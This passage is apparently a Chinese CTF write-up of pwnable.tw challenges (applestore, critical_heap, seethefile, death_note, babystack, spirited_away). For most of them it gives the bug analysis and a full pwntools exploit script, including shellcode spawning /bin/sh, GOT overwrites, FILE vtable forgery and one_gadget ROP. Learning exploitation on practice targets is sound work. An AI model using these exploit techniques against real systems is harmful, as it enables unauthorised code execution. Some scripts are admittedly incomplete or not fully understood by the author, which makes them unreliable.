不过漏洞利用的切入点其实在后面,在checkout函数里,当购物车金额达到7174,就会赠送一个iphone8…而偏偏赠送的这个iphone8被放在了栈里面。而其实这几个函数用的都是同一栈帧(栈顶或许有差异,但是栈底是一致的),而恰好存储iphone8的位置在其他函数中可以被修改。也就是链表的结尾分配到了我们可以修改的栈上。

除此以外,需要栈地址的泄露,可以:

  1. 利用前面的leak洞,从第一个chunk开始,不断leak chunk的fd,直到stack上的chunk的前一个的chunk的fd,即可得到stack
  2. 我们可以用environ变量加上libc的基址来得到栈地址。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
from pwn import *

#sh = process('./applestore')
sh = remote('chall.pwnable.tw', 10104)
bin = ELF('./applestore')
libc = ELF('./libc_32.so.6')

def buy(idx):
sh.sendline('2')
sh.recvuntil('Device Number> ')
sh.sendline(str(idx))

def dele(idx):
sh.sendline('3')
sh.recvuntil('Item Number> ')
sh.sendline(str(idx))

def dele2(con):
sh.sendline('3')
sh.recvuntil('Item Number> ')
sh.sendline(con)

def show(con):
sh.sendline('4')
sh.recvuntil('(y/n) > ')
sh.sendline(con)

def checkout():
sh.sendline('5')
sh.recvuntil('(y/n) > ')
sh.sendline('y')

for i in range(20):
buy(2)
for i in range(6):
buy(1)

checkout()
pay = 'y\x00'
pay+=p32(bin.got['puts']) + 3*p32(0)
show(pay)

sh.recvuntil('27: ')
libc.address = u32(sh.recv(4))-libc.symbols['puts']
envp = libc.symbols['environ']
system = libc.symbols['system']
success('libc_base: '+hex(libc.address))
success('envp: '+hex(envp))

pay = 'y\x00'
pay+=p32(envp)+p32(1)+p32(0)+p32(0)
show(pay)

sh.recvuntil('27: ')
stack_envp = u32(sh.recv(4))
success('stack_envp: '+hex(stack_envp)) //通过environ泄露栈地址

//仍未理解的过程:交换GOT和ebp,从而子函数ret后回到main,ebp会到GOT上,在main中read,会读到GOT表上,可以改写atoi到system.

ebp = stack_envp-0x104
atoi_got = bin.got['atoi']
pay = '27'
pay += p32(envp)+p32(1)+p32(ebp-0xc)+p32(atoi_got+0x20-2)
dele2(pay)

pay = '$0\x00\x00'+p32(system)
sh.sendline(pay)

sh.interactive()

critical_heap

难到仅有的wp基本上完全看不懂。。。

题目

题目比较长,功能比较丰富。。

分析出来的结构体:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
struct clock{
int *name;
int inuse;
0xDEADBEEF;
char[4] year;
char[4] month;
char[4] day;
char[4] hour;
char[4] minute;
char[4] second;

};

struct system{
int *name;
int inuse;
0x48694869;
string PathOfSystem;
string DetailOfSystem;
char[4] UserOfSystem;
char[4] NameOfSystem;
char[4] rand;

};

struct normal{
int *name;
int inuse;
0x13371337;
char[40] content;
int sig;
};

分析

完全没有见过的漏洞。。。相较于文件漏洞,倒更像是函数源码漏洞与小小的文件漏洞相配合产生的大问题。。。

  1. localtime和setenv配合能将任意文件内容写到heap上.
  2. chunk_system的detail在offset 0x20,chunk_normal的content在offset 0x18的位置,content读取的时候没有截断,而detail是存在栈上的,因此可以leak heap. (比较容易想到的漏洞,文件漏洞).
  3. 在normal_heap的play下,有一个printf_chk的fmt洞,配合normal_heap的play下的change content就能在栈上留下信息,然后任意地址读(因为有chk,所以应该是无法用%n来任意地址写的).

第一步需要看localtime的源码:以libc2.23源码为例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
/* Return the `struct tm' representation of *T in local time.  */
struct tm *
localtime (const time_t *t)
{
return __tz_convert (t, 1, &_tmbuf);
}
libc_hidden_def (localtime)



/* Return the `struct tm' representation of *TIMER in the local timezone.
Use local time if USE_LOCALTIME is nonzero, UTC otherwise. */
struct tm *
__tz_convert (const time_t *timer, int use_localtime, struct tm *tp)
{
long int leap_correction;
int leap_extra_secs;

if (timer == NULL)
{
__set_errno (EINVAL);
return NULL;
}

__libc_lock_lock (tzset_lock);

/* Update internal database according to current TZ setting.
POSIX.1 8.3.7.2 says that localtime_r is not required to set tzname.
This is a good idea since this allows at least a bit more parallelism. */
tzset_internal (tp == &_tmbuf && use_localtime, 1);

if (__use_tzfile)
__tzfile_compute (*timer, use_localtime, &leap_correction,
&leap_extra_secs, tp);

<--无关代码省略-->

return tp;
}



/* Interpret the TZ envariable. */
static void
internal_function
tzset_internal (int always, int explicit)
{
static int is_initialized;
const char *tz;

if (is_initialized && !always)
return;
is_initialized = 1;

/* Examine the TZ environment variable. */
tz = getenv ("TZ");//★注意此处,从env中读取TZ的值
if (tz == NULL && !explicit)
/* Use the site-wide default. This is a file name which means we
would not see changes to the file if we compare only the file
name for change. We want to notice file changes if tzset() has
been called explicitly. Leave TZ as NULL in this case. */
tz = TZDEFAULT;
if (tz && *tz == '\0')
/* User specified the empty string; use UTC explicitly. */
tz = "Universal";

/* A leading colon means "implementation defined syntax".
We ignore the colon and always use the same algorithm:
try a data file, and if none exists parse the 1003.1 syntax. */
if (tz && *tz == ':')
++tz;

/* Check whether the value changed since the last run. */
if (old_tz != NULL && tz != NULL && strcmp (tz, old_tz) == 0)
/* No change, simply return. */
return;

if (tz == NULL)
/* No user specification; use the site-wide default. */
tz = TZDEFAULT;

tz_rules[0].name = NULL;
tz_rules[1].name = NULL;

/* Save the value of `tz'. */
free (old_tz);
old_tz = tz ? __strdup (tz) : NULL;

/* Try to read a data file. */
__tzfile_read (tz, 0, NULL);//★带着TZ进入__tzfile_read函数
if (__use_tzfile)
return;

<--无关代码省略-->

}



void
__tzfile_read (const char *file, size_t extra, char **extrap)
{
static const char default_tzdir[] = TZDIR;
size_t num_isstd, num_isgmt;
FILE *f;
struct tzhead tzhead;
size_t chars;
size_t i;
size_t total_size;
size_t types_idx;
size_t leaps_idx;
int was_using_tzfile = __use_tzfile;
int trans_width = 4;
size_t tzspec_len;
char *new = NULL;

if (sizeof (time_t) != 4 && sizeof (time_t) != 8)
abort ();

__use_tzfile = 0;

if (file == NULL)
/* No user specification; use the site-wide default. */
file = TZDEFAULT;
else if (*file == '\0')
/* User specified the empty string; use UTC with no leap seconds. */
goto ret_free_transitions;
else
{
/* We must not allow to read an arbitrary file in a setuid
program. So we fail for any file which is not in the
directory hierachy starting at TZDIR
and which is not the system wide default TZDEFAULT. */
if (__libc_enable_secure
&& ((*file == '/'
&& memcmp (file, TZDEFAULT, sizeof TZDEFAULT)
&& memcmp (file, default_tzdir, sizeof (default_tzdir) - 1))
|| strstr (file, "../") != NULL))
/* This test is certainly a bit too restrictive but it should
catch all critical cases. */
goto ret_free_transitions;
}

if (*file != '/')
{
const char *tzdir;

tzdir = getenv ("TZDIR");//★从环境变量TZDIR中读取目录
if (tzdir == NULL || *tzdir == '\0')
tzdir = default_tzdir;
if (__asprintf (&new, "%s/%s", tzdir, file) == -1)
goto ret_free_transitions;
file = new;
}

/* If we were already using tzfile, check whether the file changed. */
struct stat64 st;
if (was_using_tzfile
&& stat64 (file, &st) == 0
&& tzfile_ino == st.st_ino && tzfile_dev == st.st_dev
&& tzfile_mtime == st.st_mtime)
goto done; /* Nothing to do. */

/* Note the file is opened with cancellation in the I/O functions
disabled and if available FD_CLOEXEC set. */
f = fopen (file, "rce");//★打开文件

最后是通过malloc读取文件内容到heap上的,所以我们只需要控制TZ 和 TZDIR 就能读取flag内容到heap上;(类似于函数源码漏洞?)

printf_chk 源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
/* Write formatted output to stdout from the format string FORMAT.  */
int
___printf_chk (int flag, const char *format, ...)
{
va_list ap;
int done;

_IO_acquire_lock_clear_flags2 (stdout);
if (flag > 0)
stdout->_flags2 |= _IO_FLAGS2_FORTIFY;

va_start (ap, format);
done = vfprintf (stdout, format, ap);
va_end (ap);

if (flag > 0)
stdout->_flags2 &= ~_IO_FLAGS2_FORTIFY;
_IO_release_lock (stdout);

return done;
}
ldbl_strong_alias (___printf_chk, __printf_chk)

printf_chk 格式化字符串漏洞。。。神奇、、

seethefile

第一次见FILE题,学习一下

题目

功能

1
2
3
4
5
6
7
8
9
10
11
int menu()
{
puts("---------------MENU---------------");
puts(" 1. Open");
puts(" 2. Read");
puts(" 3. Write to screen");
puts(" 4. Close");
puts(" 5. Exit");
puts("----------------------------------");
return printf("Your choice :");
}

open打开文件,read读入0x18f的数据,如果文件名或读入的数据中没有‘flag’ 或 ‘FLAG’,就能够write到屏幕上,close关闭文件,exit时让输入姓名,会溢出。

分析

后面给了一个明显的溢出,也就是我们的切入点,gdb调试发现name在bss段,后面只有一个指向文件的fp指针,意图很明显。
我们可以先读取/map/self/maps 来获取程序的段信息,虽然能读入的信息较少,但是足以获得heap基地址以用来得到libc基地址。
至于fp指针,需要将其覆盖并继续溢出伪造一个FILE结构体,fp指针就是指向这个结构体以避免程序错误退出,同时将伪造的虚表上的vtable该为system,fclose即可即可调用system。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import *
context.log_level = 'debug'
#sh = process('./seethefile')
sh = remote('chall.pwnable.tw', 10200)
elf = ELF('./seethefile')
libc = ELF('./libc_32.so.6')
def open(name):
sh.recvuntil('Your choice :')
sh.sendline('1')
sh.recvuntil('see :')
sh.sendline(name)

def read():
sh.recvuntil('Your choice :')
sh.sendline('2')

def write():
sh.recvuntil('Your choice :')
sh.sendline('3')

def close():
sh.recvuntil('Your choice :')
sh.sendline('4')

def exit(con):
sh.recvuntil('Your choice :')
sh.sendline('5')
sh.recvuntil('Leave your name :')
sh.sendline(con)

open('/proc/self/maps')
read()
write()

sh.recvline()
sh.recvline()
sh.recvline()
heap = int(sh.recvline()[:8],16)
success('heap: '+hex(heap))
libc.address = int(sh.recvline()[:8],16)+0x1000
success('libc_base: '+hex(libc.address))
system = libc.symbols['system']
close()

pay = '\x00'*32 + p32(0x0804B300)
pay+='\x00'*(0x80-4)
file = '\xff\xff\xff\xff;$0\x00'.ljust(0x48,'\x00')
file = file.ljust(0x94,'\x00') //在 libc2.23 版本下,32 位的 vtable 偏移为 0x94,64 位偏移为 0xd8;
pay+=file
pay+=p32(0x0804B300+0x98)
pay+=p32(system)*21#vtable
exit(pay)


sh.interactive()

death_note

话说这边的题难度真是飘忽不定。。

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int menu()
{
puts("-----------------------------------");
puts(" DeathNote ");
puts("-----------------------------------");
puts(" 1. Add a name ");
puts(" 2. show a name on the note ");
puts(" 3. delete a name int the note ");
puts(" 4. Exit ");
puts("-----------------------------------");
return printf("Your choice :");
}

# checksec death_note
[*] '/root/pwnable/death_note1/death_note'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments

分析

题目的功能就是menu上的那样,不过在里面add的时候,index是自己选的,而且没有任何限制, 所以是有希望随便输入负数,将name也就是我们要输入的shellcode往上覆盖到got表来get shell。

输入的内容会进行检查,必须是可打印字符且最长为0x50,所以shellcode也需要在限制条件之内。
shellcode可以使用metasploit自带的msfvenom来生成。

1
2


exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *

sh = process('./death_note')
sh = remote('chall.pwnable.tw', 10201)

def add(idx,con):
sh.sendline('1')
sh.recvuntil('Index :')
sh.sendline(str(idx))
sh.recvuntil('Name :')
sh.sendline(con)

def dele(idx):
sh.sendline('3')
sh.recvuntil('Index :')
sh.sendline(str(idx))

pay = asm('''
/* execve('/bin///sh',0,0)*/

push 0x68
push 0x732f2f2f
push 0x6e69622f

push esp
pop ebx /*set ebx to '/bin///sh'*/


push edx
dec edx
dec edx /*set dl to 0xfe*/


xor [eax+32],dl /*decode int 0x80*/
xor [eax+33],dl /*decode int 0x80*/

inc edx
inc edx /*recover edx to 0*/

push edx
pop ecx /*set ecx to 0*/

push 0x40
pop eax
xor al,0x4b /*set eax to 0xb*/

/*int 0x80*/
''')+'\x33\x7e'

add(-19,pay)
dele(-19)

sh.interactive()

babystack

终于有时间继续做了、、

题目

保护全开。。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
_QWORD *v3; // rcx
__int64 v4; // rdx
char des; // [rsp+0h] [rbp-60h]
__int64 buf; // [rsp+40h] [rbp-20h]
__int64 v8; // [rsp+48h] [rbp-18h]
char v9; // [rsp+50h] [rbp-10h]

mmap_for_proc();
files[0] = open("/dev/urandom", 0);
read(files[0], &buf, 0x10uLL);
v3 = IsMmap_ptr;
v4 = v8;
*IsMmap_ptr = buf;
v3[1] = v4;
close(files[0]);



while ( 1 )
{
write(1, ">> ", 3uLL);
_read_chk(0LL, &v9, 0x10LL, 0x10LL);
if ( v9 == '2' )
break;
if ( v9 == '3' )
{
if ( password_inuse )
read_to_des(&des);
else
puts("Invalid choice");
}
else if ( v9 == '1' )
{
if ( password_inuse )
password_inuse = 0;
else
login(&buf);
}
else
{
puts("Invalid choice");
}
}
if ( !password_inuse )
exit(0);
if ( memcmp(&buf, IsMmap_ptr, 0x10uLL) )
JUMPOUT(loc_100B);
return 0LL;
}

int __fastcall login(const char *buf)
{
size_t len; // rax
char s; // [rsp+10h] [rbp-80h]

printf("Your passowrd :");
read_int(&s, 0x7Fu);
len = strlen(&s);
if ( strncmp(&s, buf, len) )
return puts("Failed !");
password_inuse = 1;
return puts("Login Success !");
}

int __fastcall read_to_des(char *des)
{
char src; // [rsp+10h] [rbp-80h]

printf("Copy :");
read_int(&src, 0x3Fu);
strcpy(des, &src);
return puts("It is magic copy !");
}

分析

main函数刚开始随机得到0x10个字节的数据并将其复制到buf处,并将全局变量指针*IsMmap_ptr指向该内存。
read_chk读入参数,1-login(与随机得到的0x10个字节进行比较输入字节长度len的密码是否正确)或清除密码标志位密码,2-退出,3-检查密码标志位,为1则可读入0x3f字节的数据复制到des处

问题:

  1. login时可以不输入密码,直接回车可以跳过判定;或者以/x00开头跳过判定;或者可以依次爆破得到随机数password。
  2. strcpy将src处的值复制到des,靠的是识别末尾处的/x00截断,而read_int并不会自动给加上/x00,因为输入字节的限制,看上去感觉并不会溢出,但是因为login函数用的是同一个栈段,所以有希望在src[0x3f]处将其置为非/x00,这样strcpy便会产生溢出。
  3. 为了getshell,rop不太可能–canary的存在,使得可能爆破出来的canary在最后会有/x00截断,这样strcpy就没法溢出到返回地址处了。所以应该要使用Onegadget一发入魂,但是libc地址搞不出来。。。。

得到大佬的思路:strcpy后原来的buf处变为两个libc中的地址,将其泄露计算libc基地址即可(ps:这一步仍有问题)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
# one_gadget ./libc_64.so.6 
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xef6c4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf0567 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL






from pwn import *
context.log_level = 'debug'
sh = process('./babystack')
libc = ELF('./libc_64.so.6')
bin = ELF('./babystack')


one_gadget_offset = 0x45216


def copy():
sh.recvuntil('>> ')
sh.sendline('3')
sh.recvuntil('Copy :')
sh.send(s)


def login(pwd,lo=1):
if lo:
sh.send('1'+'a'*15)
else:
sh.send('1')
sh.recvuntil('Your passowrd :')
sh.send(pwd)
return sh.recvuntil('>> ')


def guess(length,secret=''):
for i in range(length):
for q in range(1,256):
if 'Success' in login(secret+chr(q)+'\n',False):
secret+=chr(q)
sh.sendline('1')
sh.recvuntil('>> ')
break
return secret

def logout():
sh.sendline('1')
sh.recvuntil('>> ')

# 爆破随机数
secret = guess(16)

# 绕过login,将src[0x3f]设置为非0,并将随机数位置变为libc的地址
login('\x00'+'a'*0x57)
copy('a'*0x40)
logout()

# strcpy溢出泄露buf位置的libc
base = u64(guess(6,'a'*16+'1'+'a'*7)[24:]+'\x00\x00')-324-libc.symbols['setvbuf'] //泄漏的位置有点诡异。。。

one_gadget_addr = one_gadget_offset + base

## 覆盖返回地址到one_gadget_addr 得到shell
pay = '\x00' + 'a' * 0x3f + secret + 'a' *0x18 + p64(one_gadget_addr)

login(pay)
copy('a'*0x40)
sh.sendline('2')

sh.interactive()

spirited_away

比较简短的一个程序,不过好久没看题了。。考试实习忙的一批

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
int survey()
{
char v1; // [esp+10h] [ebp-E8h]
size_t nbytes; // [esp+48h] [ebp-B0h]
size_t v3; // [esp+4Ch] [ebp-ACh]
char s; // [esp+50h] [ebp-A8h]
int age; // [esp+A0h] [ebp-58h]
void *name; // [esp+A4h] [ebp-54h]
int reason; // [esp+A8h] [ebp-50h]

nbytes = 0x3C;
v3 = 0x50;
LABEL_2:
memset(&s, 0, 0x50u);
name = malloc(0x3Cu);
printf("\nPlease enter your name: ");
fflush(stdout);
read(0, name, nbytes);
printf("Please enter your age: ");
fflush(stdout);
__isoc99_scanf("%d", &age);
printf("Why did you came to see this movie? ");
fflush(stdout);
read(0, &reason, v3);
fflush(stdout);
printf("Please enter your comment: ");
fflush(stdout);
read(0, &s, nbytes);
++cnt;


printf("Name: %s\n", name);
printf("Age: %d\n", age);
printf("Reason: %s\n", &reason); //leak
printf("Comment: %s\n\n", &s);


fflush(stdout);
sprintf(&v1, "%d comment so far. We will review them as soon as we can", cnt);
puts(&v1);
puts(&::s);
fflush(stdout);
if ( cnt > 199 )
{
puts("200 comments is enough!");
fflush(stdout);
exit(0);
}
while ( 1 )
{
printf("Would you like to leave another comment? <y/n>: ");
fflush(stdout);
read(0, &choice, 3u);
if ( choice == 'Y' || choice == 'y' )
{
free(name);
goto LABEL_2;
}
if ( choice == 'N' || choice == 'n' )
break;
puts("Wrong choice.");
fflush(stdout);
}
puts("Bye!");
return fflush(stdout);
}

分析

题目疯狂使用fflush(stdout),容易让人产生怀疑。。
前面均使用read读入,不会在结尾加任何东西,但是在输出时使用printf会泄露栈上的内容,也就有希望得到libc基地址和栈地址;
第二个漏洞比较隐蔽,看了v神的思路,自己调试了半天,才终于看出这个漏洞.

1
sprintf(&v1, "%d comment so far. We will review them as soon as we can", cnt);

这一句看上去是没什么问题,但是在输出时,1,10,100占的位数并不相同,因为应该是把cnt以字符串形式来输出的,这样达到100次及以上之后,最后一个字母n溢出到了nbytes的位置,把原来的0x3c变成了0x6e,而这个nbytes是控制后面输入的comment的长度的,comment可以溢出到name指针的位置就能控制这个指针任意地址free,可以将其修改至栈上,之后分配name时就可以将其分配到栈上写入system(‘/bin/sh’),rop得到shell。

exp

鉴于gdb还是不能与pwntools一起调试,各个地址不能得到准确值,所以之后搞好了再写完整的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import *
context.log_level = 'debug'
sh = process('./spirited_away')
bin = ELF('./spirited_away')
libc = ELF('./libc_32.so.6')


def comment(name,age,reason,comments):
sh.recvuntil("name: ")
sh.sendline(name)
sh.recvuntil("age: ")
sh.sendline(str(age))
sh.recvuntil("movie? ")
sh.sendline(reason)
sh.recvuntil("comment: ")
sh.sendline(comments)

comment('sir',19,'a'*16,'b'*2)
sh.recvuntil('a'*16)
io_file_sync9 = sh.recv(4)
#gdb.attach(sh)
libc.address = u32(io_file_sync9) - libc.sym['_IO_file_sync']-9
success("libc_addr = " + hex(libc.address))
sh.recvuntil('Would you like to leave another comment? <y/n>: ')
sh.send('y')

comment('sir',19,'a'*0x50,'b'*2)
sh.recvuntil('a'*0x50)
stack_addr = u32(sh.recv(4))- 0x28
success("stack_addr = " + hex(stack_addr))
#gdb.attach(sh)
sh.recvuntil('Would you like to leave another comment? <y/n>: ')
sh.send('y')

for i in range(100):
comment("sir",19,'a'*0x48,'b'*59)
sh.recvuntil("Would you like to leave another comment? <y/n>: ")
sh.send('y')
print hex(stack_addr)
#gdb.attach(sh)

rea = p32(0)+p32(0x41)+'A'*56+p32(0)+p32(0x41)
pay = 'c'*80 + 'bbbb' + p32(stack_addr)+p32(0)+p32(0x41)
comment('sir',19,rea, pay)
gdb.attach(sh)
sh.recvuntil("Would you like to leave another comment? <y/n>: ")
sh.send('y')
pay = 'bbbb' +p32(libc.sym['system']) + 'bbbb'+p32(libc.search('/bin/sh\x00').next())
comment(pay, 19, 'a'*0x20, 'b'*2)
gdb.attach(sh)
sh.recvuntil("Would you like to leave another comment? <y/n>: ")
sh.send('n')
#gdb.attach(sh)

sh.interactive()